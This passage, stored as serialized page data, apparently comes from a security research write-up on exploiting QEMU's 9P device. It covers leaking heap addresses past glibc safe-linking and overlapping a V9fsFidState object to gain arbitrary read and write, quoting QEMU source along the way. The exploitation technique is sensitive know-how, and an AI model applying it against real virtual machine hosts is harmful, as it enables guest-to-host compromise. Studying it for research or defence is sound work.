becomes:",{"type":25,"tag":7764,"props":141743,"children":141745},{"code":141744},"fd = 0 ^ (curr >> 12)\n",[141746],{"type":25,"tag":264,"props":141747,"children":141748},{"__ignoreMap":7},[141749],{"type":30,"value":141744},{"type":25,"tag":26,"props":141751,"children":141752},{},[141753,141755,141760],{"type":30,"value":141754},"So if we free a single chunk into an empty tcache bin, its ",{"type":25,"tag":264,"props":141756,"children":141758},{"className":141757},[],[141759],{"type":30,"value":141713},{"type":30,"value":141761}," field is effectively just the chunk address shifted right by 12.",{"type":25,"tag":26,"props":141763,"children":141764},{},[141765],{"type":30,"value":141766},"In the overlap we achieved earlier:",{"type":25,"tag":7764,"props":141768,"children":141770},{"code":141769},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[141771],{"type":25,"tag":264,"props":141772,"children":141773},{"__ignoreMap":7},[141774],{"type":30,"value":141769},{"type":25,"tag":26,"props":141776,"children":141777},{},[141778,141780,141786,141788,141794,141796,141802,141804,141809],{"type":30,"value":141779},"We first free ",{"type":25,"tag":264,"props":141781,"children":141783},{"className":141782},[],[141784],{"type":30,"value":141785},".value C",{"type":30,"value":141787}," into tcache and read its contents through the oversized ",{"type":25,"tag":264,"props":141789,"children":141791},{"className":141790},[],[141792],{"type":30,"value":141793},".value Y",{"type":30,"value":141795},". This gives us ",{"type":25,"tag":264,"props":141797,"children":141799},{"className":141798},[],[141800],{"type":30,"value":141801},".value C >> 12",{"type":30,"value":141803},". That is not yet the exact address of ",{"type":25,"tag":264,"props":141805,"children":141807},{"className":141806},[],[141808],{"type":30,"value":141785},{"type":30,"value":141810},", since the lower 12 bits are lost.",{"type":25,"tag":26,"props":141812,"children":141813},{},[141814,141816,141821,141823,141828,141830,141835,141837,141842],{"type":30,"value":141815},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":25,"tag":264,"props":141817,"children":141819},{"className":141818},[],[141820],{"type":30,"value":141785},{"type":30,"value":141822},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":25,"tag":264,"props":141824,"children":141826},{"className":141825},[],[141827],{"type":30,"value":141785},{"type":30,"value":141829}," again. This time, ",{"type":25,"tag":264,"props":141831,"children":141833},{"className":141832},[],[141834],{"type":30,"value":70680},{"type":30,"value":141836}," is no longer ",{"type":25,"tag":264,"props":141838,"children":141840},{"className":141839},[],[141841],{"type":30,"value":67612},{"type":30,"value":141843},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":25,"tag":7764,"props":141845,"children":141846},{"code":141718},[141847],{"type":25,"tag":264,"props":141848,"children":141849},{"__ignoreMap":7},[141850],{"type":30,"value":141718},{"type":25,"tag":26,"props":141852,"children":141853},{},[141854,141856,141862,141864,141869,141871,141876,141878,141883],{"type":30,"value":141855},"Since we already know ",{"type":25,"tag":264,"props":141857,"children":141859},{"className":141858},[],[141860],{"type":30,"value":141861},"curr >> 12",{"type":30,"value":141863}," from the first leak, we can read the new ",{"type":25,"tag":264,"props":141865,"children":141867},{"className":141866},[],[141868],{"type":30,"value":141713},{"type":30,"value":141870}," value from ",{"type":25,"tag":264,"props":141872,"children":141874},{"className":141873},[],[141875],{"type":30,"value":141785},{"type":30,"value":141877}," and recover the exact address of ",{"type":25,"tag":264,"props":141879,"children":141881},{"className":141880},[],[141882],{"type":30,"value":70680},{"type":30,"value":141884}," by reversing the XOR:",{"type":25,"tag":7764,"props":141886,"children":141888},{"code":141887},"next = fd ^ (curr >> 12)\n",[141889],{"type":25,"tag":264,"props":141890,"children":141891},{"__ignoreMap":7},[141892],{"type":30,"value":141887},{"type":25,"tag":26,"props":141894,"children":141895},{},[141896],{"type":30,"value":141897},"This gives us the exact address of a heap chunk whose contents we control.",{"type":25,"tag":247,"props":141899,"children":141901},{"id":141900},"arbitrary-read-and-write",[141902],{"type":30,"value":141903},"Arbitrary Read and Write",{"type":25,"tag":26,"props":141905,"children":141906},{},[141907,141909,141914],{"type":30,"value":141908},"Having a controlled chunk at a known address lets us repurpose ",{"type":25,"tag":264,"props":141910,"children":141912},{"className":141911},[],[141913],{"type":30,"value":141785},{"type":30,"value":141915}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":25,"tag":26,"props":141917,"children":141918},{},[141919,141921,141926],{"type":30,"value":141920},"Recall ",{"type":25,"tag":264,"props":141922,"children":141924},{"className":141923},[],[141925],{"type":30,"value":140389},{"type":30,"value":359},{"type":25,"tag":7764,"props":141928,"children":141930},{"code":141929,"language":13243,"meta":7,"className":29637,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[141931],{"type":25,"tag":264,"props":141932,"children":141933},{"__ignoreMap":7},[141934,141973,141980,141991,142006,142021,142028,142035,142042,142064,142071,142078,142085,142093,142110,142149,142192,142199],{"type":25,"tag":271,"props":141935,"children":141936},{"class":13593,"line":13594},[141937,141941,141945,141949,141953,141957,141961,141965,141969],{"type":25,"tag":271,"props":141938,"children":141939},{"style":14289},[141940],{"type":30,"value":64160},{"type":25,"tag":271,"props":141942,"children":141943},{"style":14289},[141944],{"type":30,"value":64165},{"type":25,"tag":271,"props":141946,"children":141947},{"style":13625},[141948],{"type":30,"value":140384},{"type":25,"tag":271,"props":141950,"children":141951},{"style":13620},[141952],{"type":30,"value":140389},{"type":25,"tag":271,"props":141954,"children":141955},{"style":13625},[141956],{"type":30,"value":394},{"type":25,"tag":271,"props":141958,"children":141959},{"style":14289},[141960],{"type":30,"value":64743},{"type":25,"tag":271,"props":141962,"children":141963},{"style":13603},[141964],{"type":30,"value":22940},{"type":25,"tag":271,"props":141966,"children":141967},{"style":13598},[141968],{"type":30,"value":140406},{"type":25,"tag":271,"props":141970,"children":141971},{"style":13625},[141972],{"type":30,"value":16299},{"type":25,"tag":271,"props":141974,"children":141975},{"class":13593,"line":11641},[141976],{"type":25,"tag":271,"props":141977,"children":141978},{"style":13625},[141979],{"type":30,"value":24005},{"type":25,"tag":271,"props":141981,"children":141982},{"class":13593,"line":14354},[141983,141987],{"type":25,"tag":271,"props":141984,"children":141985},{"style":14289},[141986],{"type":30,"value":68729},{"type":25,"tag":271,"props":141988,"children":141989},{"style":13625},[141990],{"type":30,"value":137042},{"type":25,"tag":271,"props":141992,"children":141993},{"class":13593,"line":14391},[141994,141998,142002],{"type":25,"tag":271,"props":141995,"children":141996},{"style":13625},[141997],{"type":30,"value":140531},{"type":25,"tag":271,"props":141999,"children":142000},{"style":13603},[142001],{"type":30,"value":17702},{"type":25,"tag":271,"props":142003,"children":142004},{"style":13625},[142005],{"type":30,"value":140540},{"type":25,"tag":271,"props":142007,"children":142008},{"class":13593,"line":14400},[142009,142013,142017],{"type":25,"tag":271,"props":142010,"children":142011},{"style":13625},[142012],{"type":30,"value":140531},{"type":25,"tag":271,"props":142014,"children":142015},{"style":13603},[142016],{"type":30,"value":17702},{"type":25,"tag":271,"props":142018,"children":142019},{"style":13625},[142020],{"type":30,"value":140556},{"type":25,"tag":271,"props":142022,"children":142023},{"class":13593,"line":16406},[142024],{"type":25,"tag":271,"props":142025,"children":142026},{"emptyLinePlaceholder":18},[142027],{"type":30,"value":16829},{"type":25,"tag":271,"props":142029,"children":142030},{"class":13593,"line":16434},[142031],{"type":25,"tag":271,"props":142032,"children":142033},{"style":13625},[142034],{"type":30,"value":117894},{"type":25,"tag":271,"props":142036,"children":142037},{"class":13593,"line":16447},[142038],{"type":25,"tag":271,"props":142039,"children":142040},{"emptyLinePlaceholder":18},[142041],{"type":30,"value":16829},{"type":25,"tag":271,"props":142043,"children":142044},{"class":13593,"line":16465},[142045,142050,142054,142059],{"type":25,"tag":271,"props":142046,"children":142047},{"style":13625},[142048],{"type":30,"value":142049},"    file_fidp ",{"type":25,"tag":271,"props":142051,"children":142052},{"style":13603},[142053],{"type":30,"value":1065},{"type":25,"tag":271,"props":142055,"children":142056},{"style":13620},[142057],{"type":30,"value":142058}," get_fid",{"type":25,"tag":271,"props":142060,"children":142061},{"style":13625},[142062],{"type":30,"value":142063},"(pdu, fid);\n",{"type":25,"tag":271,"props":142065,"children":142066},{"class":13593,"line":16486},[142067],{"type":25,"tag":271,"props":142068,"children":142069},{"emptyLinePlaceholder":18},[142070],{"type":30,"value":16829},{"type":25,"tag":271,"props":142072,"children":142073},{"class":13593,"line":16495},[142074],{"type":25,"tag":271,"props":142075,"children":142076},{"style":13625},[142077],{"type":30,"value":117894},{"type":25,"tag":271,"props":142079,"children":142080},{"class":13593,"line":16744},[142081],{"type":25,"tag":271,"props":142082,"children":142083},{"emptyLinePlaceholder":18},[142084],{"type":30,"value":16829},{"type":25,"tag":271,"props":142086,"children":142087},{"class":13593,"line":16761},[142088],{"type":25,"tag":271,"props":142089,"children":142090},{"style":14385},[142091],{"type":30,"value":142092},"    /* Make the file fid point to xattr */\n",{"type":25,"tag":271,"props":142094,"children":142095},{"class":13593,"line":16778},[142096,142101,142105],{"type":25,"tag":271,"props":142097,"children":142098},{"style":13625},[142099],{"type":30,"value":142100},"    xattr_fidp ",{"type":25,"tag":271,"props":142102,"children":142103},{"style":13603},[142104],{"type":30,"value":1065},{"type":25,"tag":271,"props":142106,"children":142107},{"style":13625},[142108],{"type":30,"value":142109}," file_fidp;\n",{"type":25,"tag":271,"props":142111,"children":142112},{"class":13593,"line":16791},[142113,142117,142121,142125,142129,142133,142137,142141,142145],{"type":25,"tag":271,"props":142114,"children":142115},{"style":13598},[142116],{"type":30,"value":140934},{"type":25,"tag":271,"props":142118,"children":142119},{"style":13625},[142120],{"type":30,"value":14411},{"type":25,"tag":271,"props":142122,"children":142123},{"style":13598},[142124],{"type":30,"value":50094},{"type":25,"tag":271,"props":142126,"children":142127},{"style":13625},[142128],{"type":30,"value":1860},{"type":25,"tag":271,"props":142130,"children":142131},{"style":13598},[142132],{"type":30,"value":140858},{"type":25,"tag":271,"props":142134,"children":142135},{"style":13625},[142136],{"type":30,"value":1860},{"type":25,"tag":271,"props":142138,"children":142139},{"style":13598},[142140],{"type":30,"value":22261},{"type":25,"tag":271,"props":142142,"children":142143},{"style":13603},[142144],{"type":30,"value":16155},{"type":25,"tag":271,"props":142146,"children":142147},{"style":13625},[142148],{"type":30,"value":137042},{"type":25,"tag":271,"props":142150,"children":142151},{"class":13593,"line":16800},[142152,142156,142160,142164,142168,142172,142176,142180,142184,142188],{"type":25,"tag":271,"props":142153,"children":142154},{"style":13598},[142155],{"type":30,"value":140934},{"type":25,"tag":271,"props":142157,"children":142158},{"style":13625},[142159],{"type":30,"value":14411},{"type":25,"tag":271,"props":142161,"children":142162},{"style":13598},[142163],{"type":30,"value":50094},{"type":25,"tag":271,"props":142165,"children":142166},{"style":13625},[142167],{"type":30,"value":1860},{"type":25,"tag":271,"props":142169,"children":142170},{"style":13598},[142171],{"type":30,"value":140858},{"type":25,"tag":271,"props":142173,"children":142174},{"style":13625},[142175],{"type":30,"value":1860},{"type":25,"tag":271,"props":142177,"children":142178},{"style":13598},[142179],{"type":30,"value":52262},{"type":25,"tag":271,"props":142181,"children":142182},{"style":13603},[142183],{"type":30,"value":16155},{"type":25,"tag":271,"props":142185,"children":142186},{"style":13620},[142187],{"type":30,"value":136613},{"type":25,"tag":271,"props":142189,"children":142190},{"style":13625},[142191],{"type":30,"value":140971},{"type":25,"tag":271,"props":142193,"children":142194},{"class":13593,"line":16823},[142195],{"type":25,"tag":271,"props":142196,"children":142197},{"emptyLinePlaceholder":18},[142198],{"type":30,"value":16829},{"type":25,"tag":271,"props":142200,"children":142201},{"class":13593,"line":16832},[142202],{"type":25,"tag":271,"props":142203,"children":142204},{"style":13625},[142205],{"type":30,"value":117894},{"type":25,"tag":26,"props":142207,"children":142208},{},[142209,142211,142217,142219,142224,142225,142230,142232,142237,142239,142245,142246,142252,142254,142259,142260,142265],{"type":30,"value":142210},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":25,"tag":264,"props":142212,"children":142214},{"className":142213},[],[142215],{"type":30,"value":142216},"V9fsFidState",{"type":30,"value":142218}," object. In other words, if we can place a ",{"type":25,"tag":264,"props":142220,"children":142222},{"className":142221},[],[142223],{"type":30,"value":142216},{"type":30,"value":20445},{"type":25,"tag":264,"props":142226,"children":142228},{"className":142227},[],[142229],{"type":30,"value":141785},{"type":30,"value":142231}," currently sits, the overlapping ",{"type":25,"tag":264,"props":142233,"children":142235},{"className":142234},[],[142236],{"type":30,"value":141793},{"type":30,"value":142238}," chunk can overwrite ",{"type":25,"tag":264,"props":142240,"children":142242},{"className":142241},[],[142243],{"type":30,"value":142244},"V9fsFidState.fs.xattr.value",{"type":30,"value":12218},{"type":25,"tag":264,"props":142247,"children":142249},{"className":142248},[],[142250],{"type":30,"value":142251},"V9fsFidState.fs.xattr.len",{"type":30,"value":142253},". That would immediately give us arbitrary read and write through ",{"type":25,"tag":264,"props":142255,"children":142257},{"className":142256},[],[142258],{"type":30,"value":141047},{"type":30,"value":12218},{"type":25,"tag":264,"props":142261,"children":142263},{"className":142262},[],[142264],{"type":30,"value":141039},{"type":30,"value":1860},{"type":25,"tag":26,"props":142267,"children":142268},{},[142269,142271,142276,142277,142282,142284,142289,142291,142297,142299,142304,142306,142311,142313,142318,142320,142325,142327,142332],{"type":30,"value":142270},"At this point, ",{"type":25,"tag":264,"props":142272,"children":142274},{"className":142273},[],[142275],{"type":30,"value":141785},{"type":30,"value":28565},{"type":25,"tag":264,"props":142278,"children":142280},{"className":142279},[],[142281],{"type":30,"value":140254},{"type":30,"value":142283}," chunk, while ",{"type":25,"tag":264,"props":142285,"children":142287},{"className":142286},[],[142288],{"type":30,"value":142216},{"type":30,"value":142290}," falls into the ",{"type":25,"tag":264,"props":142292,"children":142294},{"className":142293},[],[142295],{"type":30,"value":142296},"0x120",{"type":30,"value":142298}," size class. Before freeing ",{"type":25,"tag":264,"props":142300,"children":142302},{"className":142301},[],[142303],{"type":30,"value":141785},{"type":30,"value":142305},", we therefore use the oversized ",{"type":25,"tag":264,"props":142307,"children":142309},{"className":142308},[],[142310],{"type":30,"value":141793},{"type":30,"value":142312}," chunk to change its size to match ",{"type":25,"tag":264,"props":142314,"children":142316},{"className":142315},[],[142317],{"type":30,"value":142216},{"type":30,"value":142319},". Once ",{"type":25,"tag":264,"props":142321,"children":142323},{"className":142322},[],[142324],{"type":30,"value":141785},{"type":30,"value":142326}," is freed, it is inserted into the ",{"type":25,"tag":264,"props":142328,"children":142330},{"className":142329},[],[142331],{"type":30,"value":142296},{"type":30,"value":142333}," tcache bin.",{"type":25,"tag":7764,"props":142335,"children":142337},{"code":142336},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[142338],{"type":25,"tag":264,"props":142339,"children":142340},{"__ignoreMap":7},[142341],{"type":30,"value":142336},{"type":25,"tag":26,"props":142343,"children":142344},{},[142345,142347,142352,142354,142360,142362,142368,142370,142375],{"type":30,"value":142346},"After that, we can simply allocate a new ",{"type":25,"tag":264,"props":142348,"children":142350},{"className":142349},[],[142351],{"type":30,"value":142216},{"type":30,"value":142353}," with a ",{"type":25,"tag":264,"props":142355,"children":142357},{"className":142356},[],[142358],{"type":30,"value":142359},"P9_TWALK",{"type":30,"value":142361}," request and a fresh FID - this reaches ",{"type":25,"tag":264,"props":142363,"children":142365},{"className":142364},[],[142366],{"type":30,"value":142367},"alloc_fid",{"type":30,"value":142369},", which allocates a new ",{"type":25,"tag":264,"props":142371,"children":142373},{"className":142372},[],[142374],{"type":30,"value":142216},{"type":30,"value":359},{"type":25,"tag":7764,"props":142377,"children":142379},{"code":142378,"language":13243,"meta":7,"className":29637,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[142380],{"type":25,"tag":264,"props":142381,"children":142382},{"__ignoreMap":7},[142383,142423,142430,142446,142474,142481,142488,142495,142516,142523,142538,142560,142584,142605,142616,142623,142661,142703,142710,142717,142724,142731,142738,142789,142796,142811,142818,142866,142878,142886,142915,142930,142937,142966,142973],{"type":25,"tag":271,"props":142384,"children":142385},{"class":13593,"line":13594},[142386,142390,142394,142398,142403,142407,142411,142415,142419],{"type":25,"tag":271,"props":142387,"children":142388},{"style":14289},[142389],{"type":30,"value":64160},{"type":25,"tag":271,"props":142391,"children":142392},{"style":14289},[142393],{"type":30,"value":64165},{"type":25,"tag":271,"props":142395,"children":142396},{"style":13625},[142397],{"type":30,"value":140384},{"type":25,"tag":271,"props":142399,"children":142400},{"style":13620},[142401],{"type":30,"value":142402},"v9fs_walk",{"type":25,"tag":271,"props":142404,"children":142405},{"style":13625},[142406],{"type":30,"value":394},{"type":25,"tag":271,"props":142408,"children":142409},{"style":14289},[142410],{"type":30,"value":64743},{"type":25,"tag":271,"props":142412,"children":142413},{"style":13603},[142414],{"type":30,"value":22940},{"type":25,"tag":271,"props":142416,"children":142417},{"style":13598},[142418],{"type":30,"value":140406},{"type":25,"tag":271,"props":142420,"children":142421},{"style":13625},[142422],{"type":30,"value":16299},{"type":25,"tag":271,"props":142424,"children":142425},{"class":13593,"line":11641},[142426],{"type":25,"tag":271,"props":142427,"children":142428},{"style":13625},[142429],{"type":30,"value":24005},{"type":25,"tag":271,"props":142431,"children":142432},{"class":13593,"line":14354},[142433,142437,142441],{"type":25,"tag":271,"props":142434,"children":142435},{"style":13625},[142436],{"type":30,"value":140531},{"type":25,"tag":271,"props":142438,"children":142439},{"style":13603},[142440],{"type":30,"value":17702},{"type":25,"tag":271,"props":142442,"children":142443},{"style":13625},[142444],{"type":30,"value":142445},"fidp;\n",{"type":25,"tag":271,"props":142447,"children":142448},{"class":13593,"line":14391},[142449,142453,142457,142462,142466,142470],{"type":25,"tag":271,"props":142450,"children":142451},{"style":13625},[142452],{"type":30,"value":140531},{"type":25,"tag":271,"props":142454,"children":142455},{"style":13603},[142456],{"type":30,"value":17702},{"type":25,"tag":271,"props":142458,"children":142459},{"style":13625},[142460],{"type":30,"value":142461},"newfidp ",{"type":25,"tag":271,"props":142463,"children":142464},{"style":13603},[142465],{"type":30,"value":1065},{"type":25,"tag":271,"props":142467,"children":142468},{"style":14289},[142469],{"type":30,"value":140210},{"type":25,"tag":271,"props":142471,"children":142472},{"style":13625},[142473],{"type":30,"value":16165},{"type":25,"tag":271,"props":142475,"children":142476},{"class":13593,"line":14400},[142477],{"type":25,"tag":271,"props":142478,"children":142479},{"emptyLinePlaceholder":18},[142480],{"type":30,"value":16829},{"type":25,"tag":271,"props":142482,"children":142483},{"class":13593,"line":16406},[142484],{"type":25,"tag":271,"props":142485,"children":142486},{"style":13625},[142487],{"type":30,"value":117894},{"type":25,"tag":271,"props":142489,"children":142490},{"class":13593,"line":16434},[142491],{"type":25,"tag":271,"props":142492,"children":142493},{"emptyLinePlaceholder":18},[142494],{"type":30,"value":16829},{"type":25,"tag":271,"props":142496,"children":142497},{"class":13593,"line":16447},[142498,142502,142507,142511],{"type":25,"tag":271,"props":142499,"children":142500},{"style":16171},[142501],{"type":30,"value":25404},{"type":25,"tag":271,"props":142503,"children":142504},{"style":13625},[142505],{"type":30,"value":142506}," (fid ",{"type":25,"tag":271,"props":142508,"children":142509},{"style":13603},[142510],{"type":30,"value":21696},{"type":25,"tag":271,"props":142512,"children":142513},{"style":13625},[142514],{"type":30,"value":142515}," newfid) {\n",{"type":25,"tag":271,"props":142517,"children":142518},{"class":13593,"line":16465},[142519],{"type":25,"tag":271,"props":142520,"children":142521},{"style":13625},[142522],{"type":30,"value":136479},{"type":25,"tag":271,"props":142524,"children":142525},{"class":13593,"line":16486},[142526,142530,142534],{"type":25,"tag":271,"props":142527,"children":142528},{"style":13625},[142529],{"type":30,"value":28901},{"type":25,"tag":271,"props":142531,"children":142532},{"style":16171},[142533],{"type":30,"value":16458},{"type":25,"tag":271,"props":142535,"children":142536},{"style":13625},[142537],{"type":30,"value":16431},{"type":25,"tag":271,"props":142539,"children":142540},{"class":13593,"line":16495},[142541,142546,142550,142555],{"type":25,"tag":271,"props":142542,"children":142543},{"style":13625},[142544],{"type":30,"value":142545},"        newfidp ",{"type":25,"tag":271,"props":142547,"children":142548},{"style":13603},[142549],{"type":30,"value":1065},{"type":25,"tag":271,"props":142551,"children":142552},{"style":13620},[142553],{"type":30,"value":142554}," alloc_fid",{"type":25,"tag":271,"props":142556,"children":142557},{"style":13625},[142558],{"type":30,"value":142559},"(s, newfid);\n",{"type":25,"tag":271,"props":142561,"children":142562},{"class":13593,"line":16744},[142563,142567,142572,142576,142580],{"type":25,"tag":271,"props":142564,"children":142565},{"style":16171},[142566],{"type":30,"value":16412},{"type":25,"tag":271,"props":142568,"children":142569},{"style":13625},[142570],{"type":30,"value":142571}," (newfidp ",{"type":25,"tag":271,"props":142573,"children":142574},{"style":13603},[142575],{"type":30,"value":21696},{"type":25,"tag":271,"props":142577,"children":142578},{"style":14289},[142579],{"type":30,"value":140210},{"type":25,"tag":271,"props":142581,"children":142582},{"style":13625},[142583],{"type":30,"value":27925},{"type":25,"tag":271,"props":142585,"children":142586},{"class":13593,"line":16761},[142587,142592,142596,142600],{"type":25,"tag":271,"props":142588,"children":142589},{"style":13625},[142590],{"type":30,"value":142591},"            err ",{"type":25,"tag":271,"props":142593,"children":142594},{"style":13603},[142595],{"type":30,"value":1065},{"type":25,"tag":271,"props":142597,"children":142598},{"style":13603},[142599],{"type":30,"value":64371},{"type":25,"tag":271,"props":142601,"children":142602},{"style":13625},[142603],{"type":30,"value":142604},"EINVAL;\n",{"type":25,"tag":271,"props":142606,"children":142607},{"class":13593,"line":16778},[142608,142612],{"type":25,"tag":271,"props":142609,"children":142610},{"style":16171},[142611],{"type":30,"value":73665},{"type":25,"tag":271,"props":142613,"children":142614},{"style":13625},[142615],{"type":30,"value":73670},{"type":25,"tag":271,"props":142617,"children":142618},{"class":13593,"line":16791},[142619],{"type":25,"tag":271,"props":142620,"children":142621},{"style":13625},[142622],{"type":30,"value":16492},{"type":25,"tag":271,"props":142624,"children":142625},{"class":13593,"line":16800},[142626,142631,142635,142640,142644,142649,142653,142657],{"type":25,"tag":271,"props":142627,"children":142628},{"style":13598},[142629],{"type":30,"value":142630},"        newfidp",{"type":25,"tag":271,"props":142632,"children":142633},{"style":13625},[142634],{"type":30,"value":14411},{"type":25,"tag":271,"props":142636,"children":142637},{"style":13598},[142638],{"type":30,"value":142639},"uid",{"type":25,"tag":271,"props":142641,"children":142642},{"style":13603},[142643],{"type":30,"value":16155},{"type":25,"tag":271,"props":142645,"children":142646},{"style":13598},[142647],{"type":30,"value":142648}," fidp",{"type":25,"tag":271,"props":142650,"children":142651},{"style":13625},[142652],{"type":30,"value":14411},{"type":25,"tag":271,"props":142654,"children":142655},{"style":13598},[142656],{"type":30,"value":142639},{"type":25,"tag":271,"props":142658,"children":142659},{"style":13625},[142660],{"type":30,"value":16165},{"type":25,"tag":271,"props":142662,"children":142663},{"class":13593,"line":16823},[142664,142669,142673,142677,142682,142686,142690,142694,142698],{"type":25,"tag":271,"props":142665,"children":142666},{"style":13620},[142667],{"type":30,"value":142668},"        v9fs_path_copy",{"type":25,"tag":271,"props":142670,"children":142671},{"style":13625},[142672],{"type":30,"value":394},{"type":25,"tag":271,"props":142674,"children":142675},{"style":13603},[142676],{"type":30,"value":13632},{"type":25,"tag":271,"props":142678,"children":142679},{"style":13598},[142680],{"type":30,"value":142681},"newfidp",{"type":25,"tag":271,"props":142683,"children":142684},{"style":13625},[142685],{"type":30,"value":14411},{"type":25,"tag":271,"props":142687,"children":142688},{"style":13598},[142689],{"type":30,"value":4604},{"type":25,"tag":271,"props":142691,"children":142692},{"style":13625},[142693],{"type":30,"value":44},{"type":25,"tag":271,"props":142695,"children":142696},{"style":13603},[142697],{"type":30,"value":13632},{"type":25,"tag":271,"props":142699,"children":142700},{"style":13625},[142701],{"type":30,"value":142702},"path);\n",{"type":25,"tag":271,"props":142704,"children":142705},{"class":13593,"line":16832},[142706],{"type":25,"tag":271,"props":142707,"children":142708},{"style":13625},[142709],{"type":30,"value":16501},{"type":25,"tag":271,"props":142711,"children":142712},{"class":13593,"line":16841},[142713],{"type":25,"tag":271,"props":142714,"children":142715},{"emptyLinePlaceholder":18},[142716],{"type":30,"value":16829},{"type":25,"tag":271,"props":142718,"children":142719},{"class":13593,"line":16907},[142720],{"type":25,"tag":271,"props":142721,"children":142722},{"style":13625},[142723],{"type":30,"value":117894},{"type":25,"tag":271,"props":142725,"children":142726},{"class":13593,"line":16915},[142727],{"type":25,"tag":271,"props":142728,"children":142729},{"style":13625},[142730],{"type":30,"value":17058},{"type":25,"tag":271,"props":142732,"children":142733},{"class":13593,"line":16945},[142734],{"type":25,"tag":271,"props":142735,"children":142736},{"emptyLinePlaceholder":18},[142737],{"type":30,"value":16829},{"type":25,"tag":271,"props":142739,"children":142740},{"class":13593,"line":16953},[142741,142745,142750,142754,142758,142763,142767,142771,142775,142780,142785],{"type":25,"tag":271,"props":142742,"children":142743},{"style":14289},[142744],{"type":30,"value":64160},{"type":25,"tag":271,"props":142746,"children":142747},{"style":13625},[142748],{"type":30,"value":142749}," V9fsFidState ",{"type":25,"tag":271,"props":142751,"children":142752},{"style":13603},[142753],{"type":30,"value":17702},{"type":25,"tag":271,"props":142755,"children":142756},{"style":13620},[142757],{"type":30,"value":142367},{"type":25,"tag":271,"props":142759,"children":142760},{"style":13625},[142761],{"type":30,"value":142762},"(V9fsState ",{"type":25,"tag":271,"props":142764,"children":142765},{"style":13603},[142766],{"type":30,"value":17702},{"type":25,"tag":271,"props":142768,"children":142769},{"style":13598},[142770],{"type":30,"value":23776},{"type":25,"tag":271,"props":142772,"children":142773},{"style":13625},[142774],{"type":30,"value":44},{"type":25,"tag":271,"props":142776,"children":142777},{"style":14289},[142778],{"type":30,"value":142779},"int32_t",{"type":25,"tag":271,"props":142781,"children":142782},{"style":13598},[142783],{"type":30,"value":142784}," fid",{"type":25,"tag":271,"props":142786,"children":142787},{"style":13625},[142788],{"type":30,"value":16299},{"type":25,"tag":271,"props":142790,"children":142791},{"class":13593,"line":16984},[142792],{"type":25,"tag":271,"props":142793,"children":142794},{"style":13625},[142795],{"type":30,"value":24005},{"type":25,"tag":271,"props":142797,"children":142798},{"class":13593,"line":16992},[142799,142803,142807],{"type":25,"tag":271,"props":142800,"children":142801},{"style":13625},[142802],{"type":30,"value":140531},{"type":25,"tag":271,"props":142804,"children":142805},{"style":13603},[142806],{"type":30,"value":17702},{"type":25,"tag":271,"props":142808,"children":142809},{"style":13625},[142810],{"type":30,"value":64281},{"type":25,"tag":271,"props":142812,"children":142813},{"class":13593,"line":17052},[142814],{"type":25,"tag":271,"props":142815,"children":142816},{"emptyLinePlaceholder":18},[142817],{"type":30,"value":16829},{"type":25,"tag":271,"props":142819,"children":142820},{"class":13593,"line":22168},[142821,142826,142830,142835,142839,142843,142847,142852,142856,142861],{"type":25,"tag":271,"props":142822,"children":142823},{"style":13625},[142824],{"type":30,"value":142825},"    f ",{"type":25,"tag":271,"props":142827,"children":142828},{"style":13603},[142829],{"type":30,"value":1065},{"type":25,"tag":271,"props":142831,"children":142832},{"style":13620},[142833],{"type":30,"value":142834}," g_hash_table_lookup",{"type":25,"tag":271,"props":142836,"children":142837},{"style":13625},[142838],{"type":30,"value":394},{"type":25,"tag":271,"props":142840,"children":142841},{"style":13598},[142842],{"type":30,"value":23776},{"type":25,"tag":271,"props":142844,"children":142845},{"style":13625},[142846],{"type":30,"value":14411},{"type":25,"tag":271,"props":142848,"children":142849},{"style":13598},[142850],{"type":30,"value":142851},"fids",{"type":25,"tag":271,"props":142853,"children":142854},{"style":13625},[142855],{"type":30,"value":44},{"type":25,"tag":271,"props":142857,"children":142858},{"style":13620},[142859],{"type":30,"value":142860},"GINT_TO_POINTER",{"type":25,"tag":271,"props":142862,"children":142863},{"style":13625},[142864],{"type":30,"value":142865},"(fid));\n",{"type":25,"tag":271,"props":142867,"children":142868},{"class":13593,"line":22186},[142869,142873],{"type":25,"tag":271,"props":142870,"children":142871},{"style":16171},[142872],{"type":30,"value":25404},{"type":25,"tag":271,"props":142874,"children":142875},{"style":13625},[142876],{"type":30,"value":142877}," (f) {\n",{"type":25,"tag":271,"props":142879,"children":142880},{"class":13593,"line":22231},[142881],{"type":25,"tag":271,"props":142882,"children":142883},{"style":14385},[142884],{"type":30,"value":142885},"        /* If fid is already there return NULL 